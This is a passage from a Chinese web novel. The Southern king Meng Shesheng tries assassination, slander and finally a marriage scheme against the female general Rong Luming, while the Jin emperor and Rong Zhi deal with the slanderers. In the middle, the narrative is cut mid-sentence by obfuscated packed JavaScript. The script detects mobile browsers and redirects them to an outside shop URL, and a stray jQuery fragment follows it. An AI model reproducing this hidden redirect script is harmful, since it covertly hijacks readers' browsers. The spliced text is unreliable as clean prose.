这般布阵谋划,哪里像写诗?比那辛苦数倍!外人只见她能谋善断,却不见她背后艰辛如斯。
见刺杀不成。南蛮君王蒙舍晟又生一计,派人重金贿赂晋国朝中两位大臣,叫他们上书密奏,说容鹿鸣有不臣之心,愿投靠他南蛮,换个王爵。
为让此计更可信,蒙舍晟还专门派了数位精通中原话的说书先生,秘密前往晋阳,意图于茶肆酒楼之中,含沙射影,叙说容鹿鸣的“叛国”之举。
只可惜,上午那半天书还没说完,已叫百姓告进了京兆府,说是有人恶意诽谤容家少将军!
大理寺也惊动了,萧正则亲自来拿人。敢诽谤他师父!一通酷刑下来,那些人没有不召的。
先皇萧绩看到那两份密奏容鹿鸣生有叛心的折子,未动声色,皆朱批“御前详奏”四字。
第二日清早,萧绩将那两人召入宫内。他端坐龙书案后,边批折子,边听他们编排容鹿鸣。
“听到没,若存”,即便已登基称帝数十载,私底下,萧绩仍如年幼时那般,喜欢以表字称呼容止,“都怪你屡屡不愿接受王爵之封,也不许朕封赏你的孩子,看看,外人不知内情,都揣测成什么样了!”
容止自紫檀骨的云母屏风后快步走出,往萧绩面前一跪,“陛下恕罪,先祖有御令,异姓之臣不得封王。”
“嘶——”萧绩觉得容止哪里都好,就是过于谨慎了——容家之人似乎都是这样,显得谦谨而近于迂腐。
“又不是你的错,恕个什么罪,起来说话。”
“谢陛下。”容止这才起身,垂手立在一旁。
“看见没”,萧绩对尚跪在殿前、刚刚陈奏完“容鹿鸣意欲叛国”的两人说,“朕只要一提封王爵,容爱卿即刻就会递致仕的折子。才多大年纪,比朕还小上几岁,这就想致仕?朕才不上他的当呢。若存你少时说过要一直陪着朕,那便要做到,少一天都不行。”
这君臣二人竟像是在嗔怪斗嘴,亲近得仿如家人。而在朝会之上,他们之间却冷漠得如同大多数君王与权臣。
哪些是真的,哪些是演的?
跪着的两人已是惊得面无人色,跪倒在地。
萧绩也不再和他们多言,侧目看着容止,“若存,你离那么远干什么?来来来,坐过来,今天朕既然逮住了你,当然要陪朕下几盘棋。”
内侍们将白玉棋盘和永子摆了上来。
萧绩执黑,于棋盘中央落下一子。而后随口道:“将那俩跪着的东西绑好,送去大理寺”,他顿了顿,“若没记错,今日大理寺值夜的,应当是老七,交到他手上。就说,这两人诬告他师父意图叛国,随他处置。”
容止落棋的手指滞了片刻,心有不安:陛下似乎默认了自家小女与七皇子关系亲密,这样——并不好。
南蛮君王蒙舍晟见刺杀不成、栽赃亦不成,忧急难眠——想到容鹿鸣守在边境,南蛮朝中几人可安眠?
一日,听幼弟在其面前诵《诗经》,“关关雎鸠,在河之洲。窈窕淑女,君子好逑……”蒙舍晟灵光一闪,从王座上直直站了起来。
殿下大臣无不心惊,以为这中原的《诗经》出了什么问题,跪了一地。
却听他莫名问出一句:“那个容鹿鸣不是个女的吗?”
为首的清平官思量一息,答曰:“回陛下的话,正是……”说罢,他也笑了,他明白了君王的言外之意。
那便好,蒙舍晟心意已定,“传朕旨意,王族子弟,适龄未婚者,明日巳时皆需入宫,朕要亲自挑出一个来,封爵,与晋国联姻,迎娶容鹿鸣!”
“敢问陛下,这适龄是指?”
“大约已是年逾二十有二了吧。”另一位清平官补充道。
蒙舍晟挺意外,“她这个年纪,尚未婚配,难道是貌寝至极?”
“回禀陛下,臣虽未曾亲见,但据说并非如此。”第三位清平官说。
“那这个容家少将军,相貌到底如何?”蒙舍晟问近前的几个侍卫,他们都曾上过战场,抵抗过容鹿鸣的厮杀。
一瞬的沉默,蒙舍晟惊讶地发现,他的几个侍卫垂下了头,连呼吸都轻了几分。
“极为可怕!状似阿鼻地狱中的恶鬼。”一个御前侍卫说。
“是吗?可朕怎么听说,她似乎还有个‘玉面将军’的诨名。”
“回禀陛下”,年纪大些的那位御前侍卫行了一礼,答道:“臣为斥候时,初见容少将军于边境城中,她做男装,着霜色圆领袍,臣只觉其姣美明丽,弱不胜衣……”
“哦?然后呢?”蒙舍晟追问。
“谁曾想,此人披甲执刃后,狠戾若鬼神,所向披靡,谋算难测。确实,比阿鼻地狱中的恶鬼还可怕。”这侍卫说着,微微有些抑不住地喘息,“雨天、暗夜、大雾……都拦不住她,高崖、深谷,她皆敢出战。我们根本猜不到,她的兵会从哪里冒出来!喀什库那场战斗,臣所亲历,她带着三百名骑兵,与我军拼杀整整三昼夜。她战马中箭,换一匹,再中箭,再换。长剑劈砍到卷刃,丢掉,换刀。什么‘玉面将军’,臣只记得她脸上沾着血,不知疲倦,就是个从地狱里爬出来的恶鬼!”
蒙舍晟默了片刻,喀什库那场战斗,他记忆犹新,容鹿鸣不过带了三百人,却在孤立无援的境况中,阵斩他一千五百余名将士。这样一柄寒光烁烁的利刃,即便不能为己所用,把她软禁在这宫里,也算是除了劲敌。
他在思索,无意间翻动桌案上的书册。一支未系好的卷轴松开来,是其前几日反复赏看的,地藏菩萨像。此画得来委实不易,他着各地官员广泛搜集,贡上来的这幅,号称“菩萨像中之至美”。他当时展卷细览,地藏菩萨的威严与慈悲,令他险些落下泪来。瞬间只想,以此地藏菩萨像,重修皇家寺庙。可待看清了那方姓名章——“友笙”二字,四海俱知,这是容鹿鸣的表字。他不再提及此事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036138|171898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是自己不时展卷静观。
世人言其“清操绝俗”,观其画作,但觉此言不虚。
蒙舍晟年少时曾游历晋国,南蛮习汉学者不少,王室贵宦之中,不少人精通中原话。他儒学功底深厚,写诗作赋亦不在话下,因此,未被人觉出是南蛮人。只以为他是个入京干谒的富家子。
他曾在京中畅游欢饮,平康坊里千金买得花魁曲,也曾在永安寺里彻夜长坐。多年过去,他总不能忘记永安寺中的壁画,那幅“撕脸明王”。
心里某处于某时,曾觉得这位明王与容鹿鸣,似有相似之处。
画轴下压着两封书信——南蛮的暗卫截获了容鹿鸣的信。其中一封短信,似如道家符箓,一时无人能懂,他着几位都督研究解读。
另一封稍长点儿的,他倒是看懂了,是她写与徒弟萧正则的,多是些南境奇闻趣事。他笑着对那暗卫说道:“这笔章草肆意潇洒、略有萧杀,若秋潮奔涌,能是容少将军那等武将写的?你怕不是弄损了原件,自己重誊的吧?”
这暗卫出身显贵,儿时曾与蒙舍晟同入官学,亦精通汉学,书法了得。
不怪蒙舍晟有此揣测,彼时书案之上,他左手边是这截获的书信,右手边是自家将军写来的信,相较之下……
自家将军写来的信,蒙舍晟真是不忍卒读:不论错字多少,也不论字体好坏,那就真是圈圈加叉叉,再加上几多错字。幸而是跟随自己多年的老部下,蒙舍晟连读带猜,基本都能明白。
他心里想,武将嘛,自家的这几位才是常态。哪有天天生里来死里去的,还有心思临帖,章草写得都可堪刻碑制匾?
“微臣不敢!”那暗卫不解君主何意,跪下道,“此即为容少将军手书。”
心腹暗卫是绝不会说谎的,蒙舍晟又细看那信,猛得想到件经年旧事。
当年游历于晋国京中,他常去如意楼,那里香醪嘉馔,文人雅士颇多。他饮着美酒、香茶,听文士们论辩,畅谈古今、气势如虹。或是听酒楼请来的师傅讲说经变故事,也是趣味良多。
有一日,有个着绯衣的年轻贵族似是醉了,于如意楼一层的雪壁之上,提斗笔疾书行字:娶妻当娶容鹿鸣。
举座哗然!
他倒没太关注那写字的英俊少年,他在观那字——章草笔势行若游龙,似有破壁而出的气势!
正啧啧称赞间,他听一旁的书生低声对同伴道:“这字,比之容少将军,也不差分毫。看来,容少将军虽将探花之名让给了他,他倒也并非是个纨绔子弟。”
蒙舍晟心下一惊:那人竟是林舒涟林尚书的独子林如柏,此人和容鹿鸣……他当个传奇故事赏着,突然,又笑不出来了,那容少将军难不成真的能文能武,还能写出如这般撼人的书法?
多年过去,如今看来,她容鹿鸣当真不是个普通武将。观其智谋才情,蒙舍晟心间突地冲进一句话来:娶妻当娶容鹿鸣。